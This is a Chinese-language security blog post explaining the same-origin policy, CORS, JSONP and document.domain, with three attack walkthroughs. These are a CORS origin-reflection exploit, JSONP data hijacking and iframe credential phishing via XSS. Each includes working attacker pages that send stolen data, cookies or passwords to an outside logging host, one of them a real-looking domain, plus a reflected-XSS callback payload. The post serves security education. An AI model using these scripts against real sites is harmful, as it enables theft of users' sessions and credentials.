何为同源

如果两个URL的协议、域名、端口一致则满足同源,httphttpsa.x.comb.x.com:80:81均不符合同源条件。通过windows.open()等方式打开的about:blank空白页将继承上级的源

  • IE浏览器中,两个相互信任的白名单域名之间、以及不同端口均不受同源策略限制

如何跨域

CORS

在处理前后端分离、跨站请求等业务时可能会涉及跨域访问,浏览器出于安全考虑将拦截跨域请求的响应结果(但不会阻止发出跨域请求),除非存在相应的CORS响应头

满足CORS条件后,浏览器继续将跨域请求细分为 简单型请求 与 预检型请求。只有满足特定HTTP头的GETPOSTHEAD请求为简单请求,否则为预检请求,具体条件见参考链接2

简单型请求会直接发起请求并响应结果,但预检型请求发起前浏览器会先发起OPTIONS请求用作校验。预检型请求的响应将包含Access-Control-Max-Age响应头用于说明有效时间(秒),在有效时间内不必再次发起预检请求

XMLHttpRequest对象的withCredentials属性被设置为true,或是向fetch()方法的init对象传递了credentials: 'include',则其在发送请求时会附带Cookies。但如果响应头缺少Access-Control-Allow-Credentials: true,则浏览器不会展现响应内容

  • 带Cookies的请求,服务器的Access-Control-Allow-Origin不能为*,即浏览器不会展现如下响应头组合的页面:
1
2
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

src属性

src属性的标签都是可以发起跨域请求的,但仅限于对其原本内容的引用,而不可以对跨域加载的资源进行读写

JSONP

JSONPadding是一个精妙的民间花式跨域方法,通过回调函数配合JSON数据填充来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!-- a.x.com -->
// 原生JS形式
<script>
function fun(data) {
// ...
}
</script>
<script src='//b.x.com/?callback=fun'></script>

// jQuery $.getJSON形式
<script>
$.getJSON('//b.x.com/?callback=?', function(data) {
// ...
});
</script>

// jQuery $.ajax形式
<script>
$(function() {
$.ajax({
type: "get", // 请求方法JSONP默认GET,POST也会转GET
async: false, // 异步请求JSONP默认false,true也会转false
url: "//b.x.com/",
// data: {"code" : "CA1405"}, // 传入参数
dataType: "jsonp",
jsonp: "callback",
// jsonpCallback:"flightHandler", // 回调函数名jQuery默认随机,也可以写"?"
success: function(data) {
// ...
},
error: function() {
// ...
},
});
})
</script>

// jQuery $.get形式
<script>
$.get('//b.x.com/?callback=?', function (data) {/* ... */}, 'jsonp');
</script>


<!-- b.x.com -->
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
$data = array('a','b','c');
echo $callback.'('.json_encode($data).')';
?>

子仗父势

如果显式地将a.x.comb.x.comx.comdocument.domain属性同时设置为x.com,则可以同时满足同源条件

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 
- 此赋值会重写端口为NULL
- 不影响 XMLHttpRequest 与 fetch
*/

// x.com
document.domain = 'x.com';

// a.x.com
document.domain = 'x.com';

// b.x.com
document.domain = 'x.com';

边缘试探

window.name属性伴随一个window的整个声明周期,在此期间iframe内载入的所有页面共享同一个window.name

postMesage配合监听事件、location.hash配合中间页均有一定跨域效果

攻击思路一

若为了方便直接将Origin请求头拼接进CORS响应头,会导致CORS跨域漏洞。假设a.x.com/index.php负责校验身份并设置Cookie,a.x.com/cors.php负责返回敏感数据,当受害者登录目标站点后,在Cookie失效前又访问了恶意站点hack.com,即可被攻击者窃取敏感数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<!-- a.x.com/index.php -->
<?php
error_reporting(0);
session_start();
$user = isset($_POST['user']) ? $_POST['user'] : '';
$passwd = isset($_POST['passwd']) ? $_POST['passwd'] : '';
if ($user==='admin' && $passwd==='passwd') {
$_SESSION['user'] = $user;
}
if (isset($_GET['logout'])) {
if ($_GET['logout']==='1') {
unset($_SESSION['user']);
}
}
echo '<a href="//a.x.com/json.php?callback=jsonp">用户信息A</a><br />';
echo '<a href="//a.x.com/cors.php">用户信息B</a><br />';
echo '<a href="//a.x.com/index.php?logout=1">退出登录</a><br />';
if (!$_SESSION['user']) {
echo '<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>悲催的A</title>
</head>
<body>
<div style="margin-left: 100px">
<form id="login" action="index.php" method="POST">
账户:<input id="user" type="text" name="user"><br />
密码:<input id="passwd" type="password" name="passwd"><br />
<input id="submit" type="submit" value="提交">
</div>
</body>
</html>';
} else {
echo $_SESSION['user'].'登录成功<br />';
}
?>

<!-- a.x.com/cors.php -->
<?php
if (isset($_SERVER['HTTP_ORIGIN'])) {
header('Access-Control-Allow-Origin:'.$_SERVER['HTTP_ORIGIN']);
} else {
header('Access-Control-Allow-Origin: *');
}
header("Access-Control-Allow-Credentials: true");
error_reporting(0);
session_start();
if ($_SESSION['user']==='admin') {
echo '{"id": 0, "token": "SuperSecTokenStr")}';
} else {
echo '请求失败';
}
?>

<!-- hack.com -->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="referrer" content="never">
<title>hack站或有XSS的页面</title>
</head>
<body>
<script>
fetch('//a.x.com/cors.php', {
credentials: 'include'
}).then(function (response) {
return response.text();
}).then(function (datas) {
fetch('//WebLog/' ,{
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(datas)
});
});
</script>
</body>
</html>
  • Chromium从Ver.80开始Cookies的SameSite默认为Lax,即会默认拦截跨域Cookie(感谢phithon师傅的强势指导),Firefox 68.6可以复现

  • 可通过Set-Cookie: SameSite=None; Secure响应头显式地允许通过HTTPS传输跨域Cookie

攻击思路二

当JSONP的动态处理页未设置Content-Type响应头时其默认为text/html,可能会导致反射XSS:?callback=xss<script>alert(1)</script>

将JSONP的动态处理页Content-Type响应头设置为application/json便可以防御反射XSS,但仍可能存在JSONP数据劫持

在讲JSONP数据劫持之前,先了解一下曾出现过的JSON数据劫持。假设json.x.com在校验登录成功后,会向客户端返回account之类的数据

1
2
3
4
{
"account": "admin@x.com",
"...": "..."
}

当受害者登录目标站点后,在Cookie失效前又访问了恶意站点hack.com,即可被攻击者窃取其之前的JSON数据

1
2
3
4
5
6
7
8
<script>
Object.defineProperty(Object.prototype,"account",{
set:function(obj) {
// ...
}
});
</script>
<script src="json.x.com"></script>

这段代码通过重写Object类的set方法实现了对account属性的hook,目前该漏洞已被修复,可以通过本地测试来管中窥豹

1
2
3
4
5
6
7
8
9
10
11
Object.defineProperty(Object.prototype, "Id", {
set:function(obj) {
alert(obj);
}
});

// 这样怼属性可以
var a = new Object();
a.Id = 666;
// 这个JSON就不行了
var b={"Id":250};

看完了被修复的JSON劫持,再来看看目前依然存在的JSONP劫持。假设a.x.com/index.php负责校验身份并调用数据接口,a.x.com/json.php负责返回敏感数据,当受害者登录目标站点后,在Cookie失效前又访问了恶意站点hack.com,即可被攻击者窃取敏感数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!-- a.x.com/index.php -->
// 与上例相同

<!-- a.x.com/json.php -->
<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if ($_SESSION['user']==='admin'){
echo $callback.'({"id": 0, "token": "SuperSecTokenStr"})';
} else {
echo $callback.'获取失败';
}
?>

<!-- hack.com -->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="referrer" content="never">
<title>hack站或有XSS的页面</title>
</head>
<body>
<script>
function hackfun(obj) {
var datas = '';
for (var key in obj) {
var tmp = '';
tmp = key+':'+obj[key]+',';
datas += tmp;
}
fetch('//68943a75.y7z.xyz/' ,{
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
}
</script>
<script src="http://a.x.com/json.php?callback=hackfun"></script>
</body>
</html>

攻击思路三(误)

假设a.x.comx.com相互信任,利用b.x.com的XSS钓取a登录处的帐号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!-- a.x.com/login.html -->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>悲催的A</title>
</head>
<body>
<div style="margin-left: 100px">
<form id="login" action="//baidu.com" method="POST">
账户:<input id="account" type="text" name="account"><br />
密码:<input id="passwd" type="password" name="passwd"><br />
<input id="submit" type="submit" value="提交">
</form>
</div>
<script>
document.domain="x.com";
</script>
</body>
</html>

<!-- b.x.com -->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>有XSS的B</title>
</head>
<body>
<iframe id="iframe" src="//a.x.com/login.html" width=100% height=100% frameborder=0></iframe>
<script>
document.domain='x.com';
var ifrm = document.getElementById('iframe').contentWindow;
document.getElementById('iframe').onload = function() {
ifrm.document.getElementById('submit').onmousedown = function() {
var account = ifrm.document.getElementById("account").value;
var passwd = ifrm.document.getElementById("passwd").value;
var url = '//WebLog/?account='+account+'&'+'passwd='+passwd;
fetch(url, {
mode: 'no-cors'
});
}
}
</script>
</body>
</html>

实战中XSS通常有限制,没机会插这么多代码进去,所以一般采用外联JS的方式引入,浏览器虽然会在控制台中报跨域错误并拦截响应,但通常仍可以正常发出请求并将敏感数据带至WebLog平台。抓包分析可以发现,虽然<iframe>放在了<script>前面,不过浏览器的请求顺序是:

  1. 加载主页面

  2. 加载iframe标签

  3. 加载外联JS

  4. 加载iframe内容

  5. 用户按下提交按钮

  6. 执行劫持函数

  7. 表单提交

这里说这么细是因为发现了一个有趣但蛋疼的问题,最初用作触发劫持函数的代码其实是用document.getElementById('login').onsubmit监测表单提交实现的,测试过程中一会可以一会嗝屁特别玄学,接着就开始了三天的对 浏览器、服务器、操作系统、网络地址、网络环境 一千多次的黑盒交叉测试(哭了),最终将影响因素锁定在表单提交后的新页面加载速度上。

因为如果 后者的加载速度 比 监测到表单提交并执行劫持函数 这一过程的速度要更快的话,新来的页面会将在内存中还未来得及执行完的劫持函数给刷掉。。。。。由于表单提交的默认监听事件是鼠标点击提交按钮(按下再松开),所以我将劫持函数的监听事件改为了检测鼠标按下,这样如果按下提交按钮后松得慢一点,就能产生一个让劫持函数执行完的时间缝隙Orz。。。。。当然如果点击的手速够快的话仙人可能也跳不到你

回过头看之前的实现方式,则是等用户点击提交按钮后,劫持函数 与 新页面加载 同时执行,拼的是 WebLog平台所在服务器 与 新页面所在服务器 的响应速度,不确定性就太多了。。。。。而改为 检测鼠标按下 后则在此基础上又开辟了 受害者点击 手速这个时间窗口23333

更新:经p师傅提醒,监听鼠标点击可能会错过通过回车或是自动填充提交方式提交的表单,所以为了保险可以两种方式同时使用

到此为止,有没有觉得哪里有点不对劲?如果目的是想利用b.x.com的XSS钓取a的帐号密码的话,为何不直接通过JS重写b的页面仿造成a登录处的样子并劫持表单输入呢?干嘛要用什么鬼跨域的逻辑绕来绕去(淦)

参考链接

Same-origin policy

Cross-Origin Resource Sharing

Using Fetch

浅谈跨域威胁与安全